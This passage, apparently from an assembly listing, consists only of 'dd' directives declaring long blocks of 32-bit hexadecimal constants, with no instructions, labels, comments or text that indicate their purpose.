		dd 0B5B8E015h, 0F64ED2C2h, 6D12FEF4h, 0DD79D6AAh, 0E200B7CDh
		dd 2A5B66EBh, 0BE7853D9h, 4D2EC84h, 0CFA4AF16h,	8AE5FD35h
		dd 0F71CF928h, 645BF839h, 51D0E34h, 73D767CBh, 0A90A1CBAh
		dd 0D6F1A061h, 11F3CBFFh, 0EAC82DD6h, 0A106A56Fh, 7994D15Ah
		dd 2CBE26FAh, 6F9601BCh, 8DAE99A8h, 0DAD7D4E0h,	0F9E352BEh
		dd 428966FBh, 5310E6DAh, 2C85E9B4h, 653DCB75h, 81A49A83h
		dd 0D6DF33Dh, 0D146EFF4h, 0CE626C24h, 51BD4BEAh, 2CD4CBCDh
		dd 9316D94Ch, 0A014DEF6h, 0E71FFC5h, 0D61735AEh, 675C7E38h
		dd 0BB5B8735h, 0ADAFBDF1h, 2EC77E1Fh, 853D460Eh, 79DE930Fh
		dd 0CB91F1F8h, 3E15E3FAh, 8BC854F3h, 20751532h,	0CCFEBF1Fh
		dd 59C0F26Eh, 0B3384C8Ch, 0B83451ADh, 0B222C49Dh, 0CD8AC789h
		dd 6B02B1B7h, 0A45CDBB5h, 3455B9BFh, 47396886h,	4FB89655h
		dd 0C80ADFE1h, 57528968h, 46AC1117h, 0D637CFE6h, 0A978BD3Ch
		dd 0BCC095B0h, 4795B192h, 8B135970h, 0F0CBB211h, 0D8D17F7Eh
		dd 0F31325BAh, 0AEE14DC9h, 0D5E77D49h, 9D9BF9F2h, 87EE16ACh
		dd 0E617D046h, 0A962A511h, 68539D31h, 0BB4E7ECBh, 73D5A555h
		dd 252D7527h, 6BB2555Bh, 211A0C9Ch, 4A25B792h, 0FE0F59CFh
		dd 0ABCDD6B2h, 685FA0F2h, 5CEF3220h, 20D215A1h,	8FF6B942h
		dd 66E8C8E2h, 7D75FC40h, 6A5689DFh, 374578E5h, 1B3D3BCAh
		dd 0C9965B64h, 5347A60h, 9C43BA3Fh, 89D3A1D1h, 6B9F237Eh
		dd 6DA24DF0h, 0C48063AEh, 64A5EFD1h, 0D627F4B4h, 0AB9A4283h
		dd 86869F02h, 0C62566EAh, 43D4543Dh, 3A7F2623h,	32D9A736h
		dd 91CC028h, 5015DE4Eh,	9EC6AC53h, 7352B0Bh, 7D994E48h
		dd 0FDD5221Fh, 7E143295h, 3C58F12Ah, 249FEF27h,	0AB099A19h
		dd 0C234D658h, 0FB0DA3BAh, 0C6A8BB97h, 0DCACE60h, 7E148B0Fh
		dd 0F9D74B3Ah, 33D3F5F2h, 5F59EA5Dh, 0A1206D9Eh, 0EAF03D3Ah
		dd 0E1CCE7B2h, 0AF68E1FAh, 0DD78A64h, 7CFAAD31h, 5C61AE7Dh
		dd 0FFF1DD7Fh, 92EE697Ch, 684C5A2Dh, 0DEA82DA6h, 0B2BAA6F1h
		dd 0F198F121h, 38555529h, 2C86F966h, 12B5AD40h,	582E3315h
		dd 7D0CAA54h, 2C5B33D8h, 2F6955FFh, 9F115618h, 72775669h
		dd 0A36B0746h, 0E16E1D11h, 0A867619h, 0C92FEAADh, 0DFBFD4F2h
		dd 0FCAB7EF2h, 0CAEACF85h, 0EFE26294h, 8982A816h, 0DD2FB3C2h
		dd 7D34A261h, 34BF4FCCh, 0AADAEDDCh, 9E236575h,	0A8EEDF0h
		dd 0D956F8E2h, 39CAA3C2h, 716131FAh, 0CD72E6CAh, 0A4FDC8F3h
		dd 84E7774Eh, 0EE19DF8Eh, 0F820701h, 55D9F32Ch,	5DC07133h
		dd 2DE1BAFCh, 0A8932E9Eh, 0E35445D4h, 0FA6C9CA2h, 1EB199EDh
		dd 71E07465h, 287338Eh,	4A85046Dh, 2243FD51h, 0A5B37DDBh
		dd 44FF97DBh, 0B1C3F13Bh, 2F8821E6h, 0B5950AB5h, 0A3F75FEDh
		dd 739F63DAh, 1F83FD2Fh, 49B5AB88h, 73005547h, 9B03D19Dh
		dd 0CF729CC4h, 0BD5A4E1Bh, 0FA5C95FEh, 9237F78Ch, 2D3A3EF7h
		dd 0DCC3AEC8h, 2DD19F56h, 0DDA8D80Ch, 6FC7B03Ch, 8A041264h
		dd 0BCE753B6h, 6BD707A0h, 8D5FEFECh, 0D6CC605h,	0E23BB6D4h
		dd 8959787Eh, 0F9788057h, 81844A76h, 6E1F8FB1h,	42C79FD5h
		dd 0FE5FA912h, 795C7986h, 390FC5E3h, 0A0E86652h, 0B24B9725h
		dd 66D43DCAh, 0D902E28Dh, 0A3CFB691h, 8690867Dh, 47EF9CDFh
		dd 6F2D316Dh, 0C4ED7445h, 0B7FD55F9h, 0F09A4902h, 8DFDB96Ah
		dd 0CF65DF35h, 0C59933E7h, 7A81F4F0h, 0FFE8DFD6h, 0D5407095h
		dd 20CBA443h, 51FAB513h, 84A11107h, 0F382C5F2h,	0EB608B71h
		dd 9FBEDE62h, 0E8103BA3h, 51DAAA23h, 512AEEC3h,	25A62B68h
		dd 0E736D1EBh, 2F825908h
		dd 0F87FF6FDh, 0ADF2E9C3h, 766DA8D3h, 0EAD2AAC0h, 0BA026E5Bh
		dd 0A581FB6Bh, 36945E0Bh, 0F73D1FC5h, 0FE2C1898h, 33BE72B7h
		dd 8FA0BC4Eh, 0D3CBA718h, 0A3B1F746h, 31305C62h, 0BB9DAC57h
		dd 2EEECD00h, 10F9334Bh, 0E9E2DBB7h, 356D51B5h,	0F8F9C753h
		dd 2102AB24h, 0D3E45E76h, 860783FCh, 0E5F6BD4Bh, 0D4AD4E87h
		dd 5A329EB6h, 0D5CB9544h, 66AD815h, 0ACBAD107h,	5C9D6C07h
		dd 29FABC81h, 21BDCC2Ch, 428EEE28h, 2C0E338Ah, 0AA201350h
		dd 0AD10585Fh, 6BB8AF14h, 516A7FBDh, 80F1BC7h, 0D875EC52h
		dd 15F79628h, 512196h, 6EF0247Ah, 0FA5E4D50h, 52E6A16Eh
		dd 9B77E2F8h, 233F3F73h, 0AB131054h, 0B7F7FAh, 0B4573073h
		dd 922BFA35h, 54FEDFDFh, 8BF09BF9h, 0D7401AAEh,	3B98DCB5h
		dd 55AF1AD7h, 1339828Bh, 4B40BFEBh, 0A075E4CBh,	716BDFEFh
		dd 9C3F21D0h, 7A67A355h, 0BCC56CEFh, 3F787E16h,	0F9EA5AF0h
		dd 853FB4Ch, 5CC783C3h,	8DC2DC99h, 0BDD64C0Fh, 16EDACEFh
		dd 0F440B6FCh, 74233174h, 4751B99Fh, 2A594623h,	3B0FC0FDh
		dd 0A3E2B75Fh, 0C6AFCE34h, 80BB8B1h, 8CEAEECBh,	9DDBE4Ah
		dd 0E355A733h, 6BC2F149h, 81E4DB28h, 75FB72CEh,	0C796AE8Dh
		dd 95D68FA4h, 0EA210FB6h, 97E1594Dh, 0E3672E58h, 559A1599h
		dd 5D270AD3h, 0A5680FB9h, 0CCD707DFh, 1A199AC5h, 5B16FB38h
		dd 5A08FC2Eh, 0AAEB589h, 68E3AE8Eh, 2DB0CE3Ah, 948D5DCCh
		dd 0D7B10AE3h, 0CD61BD9Ch, 8675C1AEh, 7FCB5586h, 85553452h
		dd 6790E092h, 8E295A77h, 0EF1FDB6Bh, 0E8C6549Dh, 0ED54BB39h
		dd 46C537A9h, 749727EEh, 168EAF68h, 0F645F5F9h,	87D6452Bh
		dd 0C5E1BE82h, 34ABE49Dh, 0AACE4192h, 91FF65FBh, 0F11D95CCh
		dd 28A955A1h, 0E20D34Dh, 697B476Fh, 8F519F3Eh, 0CC85FB1Dh
		dd 0F0D297F7h, 5D38BEBCh, 137F1FE8h, 0E43BE85Fh, 0CD19BDD4h
		dd 5C3FB913h, 55910509h, 43DF91A5h, 56E20117h, 0A9F41B5Ch
		dd 45521F80h, 0E0BD66D8h, 4C9607BDh, 0F1BDE996h, 6B38E1A1h
		dd 0FBF64D6Ah, 45FB3EDCh, 145DD34Eh, 0C5F3B77Bh, 0CD669B7Eh
		dd 5363D92h, 0C4A1C294h, 8A28101h, 752CCEB6h, 0E8112074h
		dd 28854ED1h, 0C99FC995h, 698B1986h, 1F8A5E7Fh,	4989B47Bh
		dd 0DDDC8B4Dh, 0F1F554A9h, 0C57D0860h, 45F82BF8h, 0D1787C00h
		dd 35366ACBh, 0DF8DF5F3h, 0BFC5FEFFh, 2D065FC8h, 5FFF0D23h
		dd 0F37E84B8h, 5D957515h, 0CF5D478Bh, 39A617E5h, 0C8E35B6Bh
		dd 0A17F9C16h, 0EF4EA383h, 4EE23F68h, 0A9E52E16h, 0D7D9DCADh
		dd 0E824F797h, 7CA0CF07h, 0DABD7896h, 21EEA0CAh, 0BB8EF792h
		dd 526D82EDh, 55AB80D6h, 6F3C02BEh, 0D02AF2D4h,	52B14F1Eh
		dd 339DFC1Fh, 45DD0151h, 57E62BEFh, 2BB458E7h, 6D84561Dh
		dd 0FCA7B4D7h, 0AA46A558h, 0E6C6672Dh, 91F7FC3Eh, 0BBF4FB44h
		dd 0EF432D57h, 6833D5B3h, 9A98E52Ch, 2C16E0F2h,	0E4A061ECh
		dd 0D47A6C7Ch, 292712E7h, 0EEC1ABA8h, 47942B5Bh, 0C883BBC7h
		dd 0F3EA201Dh, 73D09D18h, 263FB318h, 0E9C26C3Fh, 8D6BBA4h
		dd 3F1B85E7h, 0A9F6CEB7h, 8A7814E5h, 4A463703h,	0CFED407Dh
		dd 0D2485AE8h, 0BB5CAF72h, 0BA2F6142h, 93B98B00h, 0D579C5A6h
		dd 7DE5790Eh, 39095706h, 9BF6F1D9h, 4DADD095h, 7EF46CCFh
		dd 0C422B515h, 273A9BC8h, 7A1F8E8Bh, 4888910Ch,	29FD88EEh
		dd 2B2DAF41h, 63423DB3h, 0A856B3AAh, 90CDE2BFh,	0E35FF382h
		dd 0D24614B8h, 250BAE1Ch, 0A572BEA9h, 0C641C543h, 158D88DFh
		dd 56312350h, 0ADEBBC13h, 70A54961h, 0EA4E23CAh, 0D2142F86h
		dd 0D64DC5B3h, 0AA141CDCh, 0ECCFE006h, 3FD97D5Ah, 0D1B28D14h
		dd 51E05894h, 8F6D269Ch, 359948B4h, 4241C269h, 496C2B3Dh
		dd 15E1BAB7h, 3A1155B3h, 0D1D7A260h, 55DB7CADh,	14779B9Bh
		dd 0CFC695F2h, 267C0C55h, 17EFD3F0h, 16A6FD4Dh,	0F48B5555h
		dd 28EEB698h, 2B71C347h, 338380AFh, 261368BEh, 4C6644F8h
		dd 3CF5C528h, 0CECD48D3h, 0A1F0A1D7h, 0D707DACDh, 0E009FF84h
		dd 0FB39C1E1h, 47703F29h, 3C627BCBh, 75BBD232h,	6EDF3650h
		dd 9732966Eh, 1D56A15Dh, 545C1B32h, 0C5DC12DCh,	698057F3h
		dd 5131C48Dh, 5208AA4Bh, 23ECDD8Ah, 0F560AB89h,	0D80B3E0h
		dd 79560D6Fh, 674F535Dh, 2814EFC5h, 95FEE7ABh, 5AB09037h
		dd 9B1C7CC6h, 45799EF2h, 55ED1C6Ah, 4C9BBCACh, 9F7F8157h
		dd 4508C0F0h, 0EC51C2FFh, 0A7F2F1A7h, 0F2F502CFh, 5EE60962h
		dd 9917FDFBh, 7225F900h, 93B2DF3Bh, 0C5C98D8Ch,	0DA27B14Ch
		dd 7C555787h, 6C0F23D9h, 0F9AACBCh, 7A27194Bh, 691D0ECh
		dd 97EC5DC9h, 0FAB74759h, 0DC9DDABAh, 0B3850E59h, 0E5F4ECCBh
		dd 0E6745FC7h, 188D6DFCh, 0B5602CA0h, 3C1F6E03h, 126326DFh
		dd 0E64BF82Dh, 0D36EE7D0h, 0C31DBDDh, 3F116A9Ah, 811E28DCh
		dd 2987B903h, 26BA33F2h, 0E30B87C3h, 0BF75810Dh, 645FEE51h
		dd 0DFEAB69Bh, 0CD2D1015h, 5F1293F0h, 0EFC524CFh, 3174C481h
		dd 6CFBA8FAh, 4E0AF94Eh, 0DD9E29CCh, 1EEA66BFh,	0A7D72EB4h
		dd 9FD91B5Bh, 0EADB38FBh, 5BB8ABA2h, 7E026949h,	0DA2AF47h
		dd 0F8559C95h, 29778FDCh, 0ADA14906h, 13FB3F6Dh, 32FD459h
		dd 3869E4A4h, 0CBE197D4h, 0A816B5D9h, 0FA14DBB4h, 2CD7E1D0h
		dd 40EB4FA9h, 70FC342Bh, 64D6F738h, 0CE07B4BDh,	10D909FAh
		dd 0DE694AE1h, 5A23DB06h, 0AF6A6728h, 353E8FBEh, 2853F99Ah
		dd 0AD9E8E98h, 0E706CABAh, 0D529D3A8h, 35F93ACFh, 0A3562130h
		dd 0B8EABB1Ah, 0A7EE1A53h, 8DA8045Eh, 0DC3146A8h, 0AA810623h
		dd 133358EEh, 0C96771DAh, 50559C7Fh, 0A57E8232h, 1AA591F5h
		dd 0CD42D135h, 0AC0C1DFEh, 695D51CDh, 956D1BF3h, 0C31F2D14h
		dd 815591D9h, 0E1B956F8h, 0ABF6774Eh, 17821697h, 86ACAA8Ch
		dd 2860FEACh, 7DF33A43h, 8A6C8BD5h, 0DA19408h, 57B3090Fh
		dd 0C5772A20h, 8FBCFBE1h, 0E2EFBD96h, 92981E87h, 92F2A5C4h
		dd 0FE6721F6h, 8D84CC7Dh, 0E712BA96h, 2FAE0FAAh, 78BA03Ah
		dd 36AA7EA3h, 6E5EDB57h, 4104F258h, 0BAF3D5Ah, 58898C3Bh
		dd 84550206h, 0BA7F156Bh, 450755BFh, 2EBF1619h,	0BC1C06E8h
		dd 0A0A9D85Dh, 0F8250FABh, 0D1A973C0h, 0F0B17A4Fh, 0BE115A86h
		dd 0A2A255A9h, 71B7F106h, 0D1ACCC00h, 841A25C6h, 797694AFh
		dd 0DC68AD62h, 3C7EDA8Fh, 5B961642h, 0C981BEF2h, 0BCFDF14h
		dd 4C76CE58h, 0ADF4D566h, 804FEFE5h, 0F02EAC7Fh, 0AED6F577h
		dd 3F13824Ah, 3A0B3D18h, 0CC3F1BA9h, 0A5AABCEAh, 42665C75h
		dd 9C4F7CCEh, 9958BE17h, 357837A3h, 0C45A38B5h,	754F26C8h
		dd 1BA298C0h, 0D6A9F02Fh, 17DE3473h, 0FA6B9516h, 99429FCAh
		dd 5391FE93h, 0D4DA390Fh, 296C4156h, 956EB281h,	46179BC5h
		dd 574F7EB9h, 0EB9BCD14h, 416FB4D5h, 0A28E3431h, 0FBF070Bh
		dd 9AC7892h, 0E5F797C9h, 0B4E093C2h, 7CB6B9D1h,	16A72FE9h
		dd 6E6BED74h, 5C9072F3h, 0E8F5F6B3h, 4F12261Ah,	0AEB66D03h
		dd 5F950808h, 34D209D7h, 52F3AF80h, 0A3892115h,	44FCAAECh
		dd 5743FCh, 4B6D4550h, 0A3333EC0h, 9EC25604h, 78962B03h
		dd 0F3B7E97Eh, 178B464Ah, 0D72E5786h, 2E575B83h, 0E77797A5h
		dd 81833C68h, 0B09B5125h, 7FD5417Ah, 46A27A73h,	0FF701FD2h
		dd 0AF14968Bh, 0CFE5BE1Ah, 975898BAh, 0F9579DEEh, 32D6EC05h
		dd 0B9DA0BFAh, 7BB7B22Dh, 5ECF820Eh, 3300FF2Eh,	0E981F07Fh
		dd 0D40E95D4h, 1DC081B7h, 43DC6A22h, 0C5576214h, 0D0D5D42Dh
		dd 3C71446Dh, 2DC1BC4Dh
		dd 0E70327D6h, 0C0CED63h, 0E1302FCBh, 0ACE7F43Bh, 305DDF43h
		dd 8E1FB449h, 0F611B71Ah, 133DFC03h, 0E3C3B49h,	98061D85h
		dd 0CA06BFA2h, 1E05DAEh, 0EAE75E1Fh, 8FB2E756h,	296B85F8h
		dd 0E62A45E4h, 2051E4Fh, 7E890C0Fh, 9AC5368Fh, 0E5A27CDBh
		dd 46A685BBh, 0D83FD907h, 338308C1h, 3CCD6243h,	0A7472C76h
		dd 195F9D9h, 8EAFBDEBh,	52DEE1A7h, 71E38FEBh, 34E73B0Ah
		dd 0FB3A0463h, 375D9BFCh, 2B542AF6h, 8AF45A61h,	0AC91ACE2h
		dd 9EBF9BC5h, 0DD68BFA9h, 20723026h, 0FEF8DD46h, 0C2F82F97h
		dd 0EF2CD27Eh, 96EBAB0Fh, 0C67CF8CDh, 1EDBC555h, 8E2532CEh
		dd 0CFCB937Eh, 0BFB4FA7Ch, 5511DB09h, 0AF5960D4h, 70F810D4h
		dd 33307834h, 0B95AF187h, 42D07737h, 99D02F9Eh,	85E395F8h
		dd 0E9280265h, 7752A817h, 0DCEE0164h, 0BCFDFC10h, 0D7E8C54Dh
		dd 66F1FD6Bh, 0D37899B0h, 0CE029F2Eh, 0C0A5F0A1h, 4852DD8Ch
		dd 0E140D7DCh, 0BCC574EBh, 0CFE3CA6Ch, 0A9D69B9Eh, 42F8E09Dh
		dd 47B1CB0Eh, 22ED1C54h, 0ABBE1DBCh, 44B7A04h, 90F25838h
		dd 87C95748h, 149D62CEh, 0E0BAF087h, 904F3EE9h,	1A7BA675h
		dd 38ECD72h, 172D2FF1h,	0A4466A97h, 62FC1D7Dh, 5B79F35Ah
		dd 0B8AA8975h, 6161EAADh, 68E7C6EFh, 6570A03h, 15CC36CDh
		dd 0CDD77FBh, 0D968145Dh, 0D3D28669h, 556E76DBh, 35504FD4h
		dd 836D85AFh, 5FA94C8Fh, 83875632h, 0B2A66075h,	5FA14E16h
		dd 2565365Fh, 9C94F3D9h, 542D373Eh, 0DEBCE0FAh,	0C727BAF3h
		dd 489B661Bh, 54F946ADh, 0F145D71Eh, 5AFF2F6Fh,	44D7F891h
		dd 0A98EF0D1h, 4376F930h, 3FD83D3Eh, 6CB26A77h,	234EF38Ah
		dd 7C244BA5h, 65F4757Ah, 5D16F2B7h, 4A299CBBh, 0E73E91E1h
		dd 0E0F0E3EBh, 31DF8995h, 9153Dh, 2A57F455h, 6D06F3DEh
		dd 2AD57F03h, 0F79978E2h, 1192FE78h, 0E55FE9D4h, 0E0F1E366h
		dd 0B9F22894h, 0CB3411B4h, 29B3EFDDh, 0CFC9F9Bh, 5D3A3177h
		dd 41C39767h, 8A50DBF4h, 5E4CB613h, 36CD4D3Ah, 0EED3C9AFh
		dd 9F7DFA15h, 97421651h, 34B7D7B0h, 0CFA0FB77h,	0E1585E08h
		dd 9F280A61h, 0A67BE5A7h, 4C7CF6A6h, 2B987FBBh,	0B04D70B5h
		dd 0B9697E55h, 8DEF33A8h, 15D6F2Ah, 0EB33362Dh,	0EDBB77BDh
		dd 428198FCh, 0D3D2B6DAh, 154698B6h, 0AB091F94h, 2AA79857h
		dd 0C85A0CA5h, 0E949FAE5h, 3601F532h, 5FD06EAFh, 0BEB16263h
		dd 27B47754h, 0B16DA0A6h, 0E2F7895Bh, 0BC631D4Ah, 0CC4AC52Ah
		dd 0CD995FC6h, 0A5975E6Bh, 3DF04F97h, 11C012B0h, 0AF3DB63Ah
		dd 0C74875D2h, 851CE38Dh, 0BEB9803Bh, 69B67264h, 39903A74h
		dd 0E5DFCC2Bh, 0AB91B352h, 373F85DFh, 1DD15526h, 0B3D80861h
		dd 434E94BAh, 0BC8E99DEh, 3BDEC8AAh, 0F05F7DADh, 581FC65Ah
		dd 1566AA01h, 6D9272F9h, 0FE5A3F2Fh, 0C88DCCDCh, 3A8A778Bh
		dd 33FE89E2h, 60EF4F5Ch, 5D23CF90h, 0CC2CA85Bh,	0BEFF1DAAh
		dd 1CEB4D16h, 0E8E50D54h, 8C43F0FAh, 9A1A9D95h,	0F7F0FFA7h
		dd 58B2C90Ah, 85AE16DFh, 47DE7A82h, 4B5B074h, 2C799585h
		dd 0DAE984C5h, 0C6307C08h, 2169C00Ah, 0DA303491h, 9F9963F8h
		dd 6E82A9A1h, 75B0A705h, 1950B406h, 5F26FB86h, 0FF9F16DFh
		dd 0F12B5A4Eh, 0C5FD207Eh, 0AC0F1645h, 0B294D2CDh, 0F555EB74h
		dd 0AD78548Eh, 473B337Bh, 0FB9FC0C1h, 47559B1Fh, 0C8CFF86Ch
		dd 0C95F40B2h, 2CBFB05Ah, 72B0333Fh, 9AB8F498h,	277DB96Eh
		dd 342F027Ah, 992ADBEBh, 0C0B6BAEFh, 65A3A5C3h,	7DE4CE31h
		dd 0DCFAE42Dh, 0D5005307h, 3D5D50DCh, 5121380Bh, 97F7F765h
		dd 0FC1CB37h, 8040EEB6h, 0AC2CDF9h, 190EBC95h, 58EC27Eh
		dd 34227DF0h, 4DD8D797h, 0F1CC1550h, 0E5C5CFD4h, 2B24153Eh
		dd 54490F36h, 967D35DFh, 17E36B8Ah, 50BDCE16h, 0B6DA701Ch
		dd 9CF91207h, 0FD119BC6h, 0B621C4F5h, 24561D81h, 0E155B578h
		dd 7C18D068h, 0D55879A7h, 9D17E553h, 986AF58Ch,	0DEF3DDE6h
		dd 2247DDC5h, 9E055F8Ch, 6703EDABh, 0ECBBD75Eh,	0F35703Eh
		dd 0E4C8E67Fh, 5B44C6C7h, 4CA52AD5h, 4443D1CAh,	0C07179F3h
		dd 5F2EE75Dh, 2B8AABE9h, 8978B7D3h, 0DB70A8DCh,	33380FC8h
		dd 56DCFBAEh, 7A5893C8h, 0D41EDCCDh, 0D64A9A84h, 27287082h
		dd 9F0327E3h, 188D4AB9h, 0E66D17EBh, 36F26CAEh,	349F2B3Fh
		dd 0AB74B0C9h, 0ACECF764h, 8968213Fh, 7E0F42D3h, 959E816Fh
		dd 0FBEAE02Ch, 0BB68B3BEh, 0C3DDBFE8h, 60783B1Eh, 0B1C28FC1h
		dd 7C7FA5A1h, 974F0DECh, 9DD74DFh, 87968F3Eh, 57C78786h
		dd 97F97120h, 0D8E8A3B8h, 8C93FEB4h, 3F1984C9h,	8E3CD9DAh
		dd 9EF44987h, 0BBEF8BE1h, 0CCD5672Ah, 870B55C9h, 165DD1DAh
		dd 0ABAF4FA0h, 2CF128FCh, 3FBF4D7Eh, 2841D15Ch,	4D69C415h
		dd 54204D66h, 3663DBC4h, 0F62D1DA7h, 5594D3D7h,	0B450D898h
		dd 74BF8BB5h, 3D6530E1h, 832C5C5Ah, 3EBEF077h, 0DADC21E7h
		dd 0B51DA020h, 0C3FF96D9h, 0F4C88DAh, 255C9063h, 0DC4BE1F8h
		dd 5E873D0Ch, 0F574102h, 832A9677h, 0F2A1C1F3h,	4157544Ah
		dd 0B8110789h, 69ECD47Bh, 944D3CF3h, 7B8DE562h,	0ECC5DF8Fh
		dd 0F20F94FDh, 0BECAB792h, 5AAE67B5h, 0DB6A568Ch, 0A44D84ECh
		dd 6CF3A5FDh, 5E7BE74Ah, 2418137Ah, 0B5E5ECFBh,	9597ACCCh
		dd 0D5D1F337h, 3FDB0CE4h, 0BF86D592h, 83F78732h, 0E93F53A5h
		dd 0AE3C77A0h, 2A6BB00Ah, 5CE6402Bh, 0EAF2A538h, 0EDB7CD89h
		dd 0F65A2AABh, 0AB58A66Fh, 48EBDB9Dh, 0B55E67B0h, 5B05FE94h
		dd 602DDCCFh, 9DC64303h, 0F7D7EF74h, 1FB57EFAh,	0A208991Bh
		dd 2E2F9403h, 0B63A970Eh, 1F8DE12Eh, 0A5BB6272h, 0E389D556h
		dd 0A6257D3Ch, 0F1671CFh, 2BA004DDh, 0ED383C2h,	8CBBA902h
		dd 9FC5153Ah, 0D5A92EBAh, 1B35A3DFh, 80D2CB15h,	0A34C9FA3h
		dd 805A3B9Eh, 98ACFC6Bh, 96133332h, 0B88AAF0Ch,	120793DAh
		dd 0D3911DCDh, 0CD8F350Fh, 0D2E07AD5h, 5D4DF612h, 2E905D78h
		dd 0D1FDFA9Ch, 1F5C0CF3h, 8DD1A90Ch, 3F0C6D54h,	56140E38h
		dd 391F5F22h, 94093C7Dh, 18A241F1h, 7FBEA17Fh, 85EF15EBh
		dd 174E06C3h, 0F2EACAAh, 8AED628Dh, 0ABE13D0h, 0A4C94A82h
		dd 7025EBEDh, 9FD9ADE4h, 0CF8ABB4Fh, 3464E6E3h,	0E553B46Dh
		dd 39DFD73Eh, 0EE22AF43h, 94DEEF9Ah, 84A2B5F8h,	481270F9h
		dd 95739AAFh, 0EB787535h, 7AFEACD7h, 52A347D5h,	13E8EDh
		dd 725A26B5h, 0B5115BABh, 5F98F297h, 5880940h, 1537F24Ah
		dd 0D1A2C303h, 3CCE8AFFh, 972A4764h, 4D16DE0Fh,	0AAB2BB5h
		dd 711B0B18h, 0E13B8208h, 0EFF6A304h, 0E67AA0Ah, 9A93E0D9h
		dd 551E2C6Dh, 0A2DB3A12h, 7E0628DFh, 8A3135E1h,	0BB1796BDh
		dd 0B4F35E5Fh, 0D386C76Fh, 0A86A779Bh, 8C4E9680h, 91AAD8Ch
		dd 0B57E9AA9h, 0FD671067h, 7535BA57h, 47761E47h, 0B469CC0Fh
		dd 0BAA23DEDh, 46EF5E80h, 0B2A6ED58h, 26E2E1Ah,	0F83F6129h
		dd 3E5067D6h, 0EA14D333h, 0F8646E9Ch, 0E966E38Dh, 1E91AB55h
		dd 0D39B09CFh, 3FD6B5A6h, 82AF5D90h, 9AC6010Ch,	8E23E97Ah
		dd 4CEE2936h, 1DE778DFh, 0C2A67FD3h, 0F87DB95Bh, 4F20042Ah
		dd 0AABB762Dh, 0FFD1F0C8h, 9591CD7Eh, 0AB52DC6Fh, 1FFBB1F8h
		dd 3BDE597Fh, 30797747h, 553CAE75h, 0D33B0C8Eh,	1BF30998h
		dd 5A8F6D81h, 0FCF739DDh, 0AE12D0D7h, 0D4E72A83h, 7FEF37C9h
		dd 0E2A171E3h, 0BED2FF25h, 5CCE547h, 911F065Fh,	140DB90Fh
		dd 3CA57595h, 5B8EF198h, 0EBD494DEh, 85AA92AEh,	0D2F7F7FCh
		dd 0D986EF7Eh, 2A3CF035h
		dd 0A8F31554h, 5048A4E5h, 0DF44E403h, 8F63BDB7h, 7626F81Eh
		dd 1623E316h, 0A7B8EF92h, 65FA788Bh, 0D5AD18DCh, 8FD26C07h
		dd 0A6B2AA2Bh, 92B84C7Ah, 80FB7B5Eh, 8C5CAAC5h,	933AAB8Ch
		dd 279BC169h, 9FAC7A95h, 0D9EBBCD6h, 4D6EDEA7h,	71FC8C3Bh
		dd 981DED56h, 0F2B0183Eh, 0F3A0903h, 6CD4E6C7h,	0A1F8CDB4h
		dd 0C8702B3Ch, 1F31BC3Bh, 5726865Ah, 0EFD6D9E3h, 3CD94766h
		dd 0E5C38FEFh, 27BFF77Dh, 1FAEB55Dh, 4D4A13F9h,	0D228C47Ch
		dd 743E79A5h, 3D4043F6h, 0E67A5FA8h, 0D3FEB2EEh, 0C34984D2h
		dd 388178DAh, 0B8F04731h, 95977A72h, 0EBDF108Fh, 6CE09C82h
		dd 0FF0F36CAh, 0F10AB45Fh, 0A7AF950Dh, 0A8AC2E66h, 200AE9B1h
		dd 40834736h, 0AB7BACFDh, 4751B28Ah, 78152A23h,	0AE6035B0h
		dd 6C3D053Fh, 704E9F07h, 0ADE5D05Bh, 9516DA83h,	2A19AC59h
		dd 50FDAE57h, 0D2CA5AD4h, 313E1404h, 0B2B0EDFh,	5DD2B2F3h
		dd 79FCCA6Ch, 0CBF9B0D5h, 155316DDh, 66963E36h,	6AF359C1h
		dd 0E3C7267Eh, 0B5838E93h, 0AB8589E0h, 0D4C6FBA0h, 3B51B32Fh
		dd 0DA961BB8h, 29381CD2h, 5F4EA615h, 7ECEAE1Dh,	0B87E0B2Fh
		dd 0E41B74Eh, 0F0238D8h, 64F6DF1Fh, 0DF02CF5Ah,	0B873D5E4h
		dd 0E4FC764Dh, 0B4139F43h, 2322DD9Fh, 6802D3BEh, 143F6634h
		dd 5B295D07h, 73991DFAh, 0B11D730Eh, 5DB7D375h,	74E1AB30h
		dd 92C55C26h, 0B51D1F67h, 12465CCFh, 4E41592Fh,	69069F15h
		dd 0BE1F89E6h, 0CF94EFA3h, 5813126Eh, 0E4AE1097h, 4774BEE1h
		dd 0B248AF57h, 2C3D6F03h, 0F396F6FDh, 0ED6E70E0h, 8A0315DAh
		dd 1F0290E1h, 0EDD17D5Ah, 675A222h, 0E6EB4F87h,	49D6C7A2h
		dd 75E12E44h, 0D58B7B7Ch, 0A74525B5h, 0C8E21EB6h, 0FF4AE7A0h
		dd 21A977F5h, 40C309CFh, 46A25333h, 0ABC13616h,	0EB68A8D6h
		dd 0BA1647E7h, 0D291EB8Eh, 4E54B929h, 0BE48A44Dh, 29B7A966h
		dd 2A751E1h, 7B5550DCh,	9945EF52h, 6E1381Bh, 946B8C25h
		dd 48165A25h, 0B9592AFDh, 4966B3EEh, 0ABB4BA64h, 65D87573h
		dd 12FC525Dh, 4263E248h, 0EF94BFBFh, 8D4B8B54h,	8BF3E555h
		dd 739260FCh, 0C5BB8282h, 0B0C146BDh, 7822A84Ah, 6318BFCAh
		dd 13FF75D7h, 0E495AF86h, 0BF8349C0h, 88AEF829h, 5B38CA13h
		dd 9F2E4A88h, 2CF5FC3Fh, 9EACCF7Fh, 6D2F2FCAh, 0A95FA17Ch
		dd 60CCE193h, 0F14A1555h, 0B2B15738h, 91764BEEh, 0F2D717B3h
		dd 86ABF7D1h, 0AEDAA33Eh, 2E00C371h, 0BD8F644Dh, 5F385B89h
		dd 0BA168555h, 67E00B72h, 0FA33980Fh, 0A679EC93h, 9303724Ah
		dd 0B4712EF5h, 655B743Dh, 46C6ED6Eh, 25FD35ECh,	7EBDF0C6h
		dd 0A7CF17B0h, 597DB213h, 0BF9BE1CAh, 0D725EB3Dh, 830F0256h
		dd 2C6F2540h, 0F4A3FD1h, 278E708Dh, 9BAACED7h, 68DBE35Eh
		dd 55E4B2D1h, 1EA15726h, 35875603h, 0BD1B9936h,	0ABECA2D1h
		dd 0A92992C6h, 0BAB8156Dh, 38599B46h, 0BBC25398h, 0C9F0D56h
		dd 0EF72849Eh, 975B97AFh, 0FDBBDDE9h, 0F095CD15h, 0F0D53E50h
		dd 0BC0FAF29h, 0A1BBDF4Bh, 0F2F7939Ch, 0DF84BF0Fh, 0E3E3F71Dh
